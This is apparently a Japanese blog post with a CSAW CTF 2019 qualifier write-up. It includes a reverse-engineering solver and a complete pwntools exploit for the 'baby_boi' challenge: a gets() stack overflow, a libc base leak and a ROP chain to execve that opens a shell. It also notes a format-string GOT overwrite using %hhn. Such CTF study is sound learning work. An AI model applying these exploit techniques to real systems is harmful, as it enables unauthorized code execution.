amaga38のブログ

twitter: @amaga38

CSAW CTF'19 Quals write-up

2019/09/14 05:00-2019/09/16 05:00 (48H) に開催されたCSAW CTFのWrite-upです。チーム名: whitecatsで出場して、101pt. 388位でした。 

Misc

MCGRIDDLEV2 (1pt)

flag{W3lcome_7o_CSAW_QUALS_2019!}

ウェルカムフラグ

Flag: flag{W3lcome_7o_CSAW_QUALS_2019!}

Rev

BELEAF (50pt)

tree sounds are best listened to by https://binary.ninja/demo or ghidra

標準入力にフラグを入力する問題。とりあえずIDAでmainを眺める。

f:id:amaga38:20190917214510j:plain
main

0x912でフラグの文字列長の検査。0x20より長いらしい。

その後、1文字ずつsub_7FAの関数に渡して、チェック。戻り値(%rax)とunk_2014E0+idxの値が同じなら正解でループ継続。文字数分わかればOK。

sub_7FAの中では、0x201020にあるフラグ文字列のパーツっぽいデータ(8byte毎)と引数で渡された1文字を比較し、一致した文字のインデックスを呼び出し元に返却する。

なので、unk_2014E0のindex値の位置にあるフラグ文字列のパーツを順に取り出して繋げれば、フラグが得られる。

ソルバー

with open('beleaf', 'rb') as f:
    data = f.read()

flag_parts = data[0x1020:0x10e0:4]
corr_idx = data[0x14e0:0x15e8:8]

flag = ''
for i in corr_idx:
    flag += chr(flag_parts[i])
print(flag)
# flag{we_beleaf_in_your_re_future}

Flag: flag{we_beleaf_in_your_re_future}

Pwn

baby_boi (50pt)

Welcome to pwn.

nc pwn.chal.csaw.io 1005

FILES

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  char buf[32];
  printf("Hello!\n");
  printf("Here I am: %p\n", printf);
  gets(buf);
}

ソースコードは、gets関数を使ったバッファオーバーフロー脆弱性があるので、Stack BoF で攻撃する。また、printf関数のアドレスも教えてもらえるので、libcのベースアドレスを計算して、ミニROPでexecve関数を呼び出して、シェルを取った。execveのパーツは、与えられたlibcからよさげな↓を探して利用。

   e569f:       48 8d 3d f4 e7 0c 00    lea    0xce7f4(%rip),%rdi        # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
   e56a6:       4c 89 e2                mov    %r12,%rdx
   e56a9:       4c 89 f6                mov    %r14,%rsi
   e56ac:       e8 7f f7 ff ff          callq  e4e30 <execve@@GLIBC_2.2.5>

飛ばした先のexecveの引数の準備で、第2引数と第3引数に0を代入しておく必要があった。アセンブリ上は、%r12%r14がそれぞれ引数に代入されるので、ROPする直前で値が0でなかった%r12にPOP命令でゼロを代入した。

  • 第2引数: %rsi%r14
  • 第3引数: %rdx%r12

ソルバーはこんな感じに。

from pwn import *

srv = 'pwn.chal.csaw.io'
#srv = 'localhost'
port = 1005
bin = ELF('./baby_boi')
libc = ELF('./libc-2.27.so')

conn = remote(srv, port)
t = conn.recvline_contains((b'Here I am:'))
print(t)

'''
$ readelf -s ./libc-2.27.so |grep printf
   :
   627: 0000000000064e80   195 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.2.5
   :
'''
printf_addr = int(t[t.index(b'0x'):], 16)
libc_base = printf_addr - libc.symbols[b'printf']
print(hex(printf_addr))

'''
0x00023992: pop r12 ; ret  ;  (203 found)
'''
pop_r12 = 0x23992

'''
   e569f:       48 8d 3d f4 e7 0c 00    lea    0xce7f4(%rip),%rdi        # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
   e56a6:       4c 89 e2                mov    %r12,%rdx
   e56a9:       4c 89 f6                mov    %r14,%rsi
   e56ac:       e8 7f f7 ff ff          callq  e4e30 <execve@@GLIBC_2.2.5>
'''

buf = b'A' * 32
buf += b'b' * 8

buf += p64(libc_base + pop_r12, endianness='little')
buf += p64(0, endianness='little') # for pop r12
buf += p64(libc_base + 0xe569f, endianness='little')

conn.sendline(buf)
conn.interactive()
conn.close()

実行結果

$ python3 solve.py 
[*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/baby_boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn.chal.csaw.io on port 1005: Done
b'Here I am: 0x7f7e9378ae80'
0x7f7e9378ae80
0x7f7e93775440
0x7f7e938d9e9a
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbbbbb\x92\x99t\x93~\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9f\xb6\x80\x93~\x7f\x00\x00ffffffff\x9a\x9e\x8d\x93~\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
baby_boi
flag.txt
$ cat flag.txt
flag{baby_boi_dodooo_doo_doo_dooo}

Flag: flag{baby_boi_dodooo_doo_doo_dooo}

おまけ (解けなかった問題

Pwn gotmilk (50pt)

GlobalOffsetTable milk? nc pwn.chal.csaw.io 1004

format string攻撃ができる脆弱性があり、脆弱性のあるprintf呼び出しの後に呼び出されているlibmylib.solose関数に関するGOT(Global Offset Table)のアドレスを上書きできればOK。

shortサイズの値を指定のアドレスに書き込める%hnを使って手元環境ではうまくいっていたが、本番サーバーでは攻撃を送り込んだ直後にサーバー側からFINを投げられて通信が終わってしまいダメだった。。。当日は、ここで断念。。。

解けたチームのWrite-upを見ていたら%hhn(!?)で1byte書き込んで成功していた。。。%hhnとかあったのね~。勉強が足りぬ~~。%hnは書き込みサイズが大きすぎとかで弾かれていたのかな。。。

以上でっす!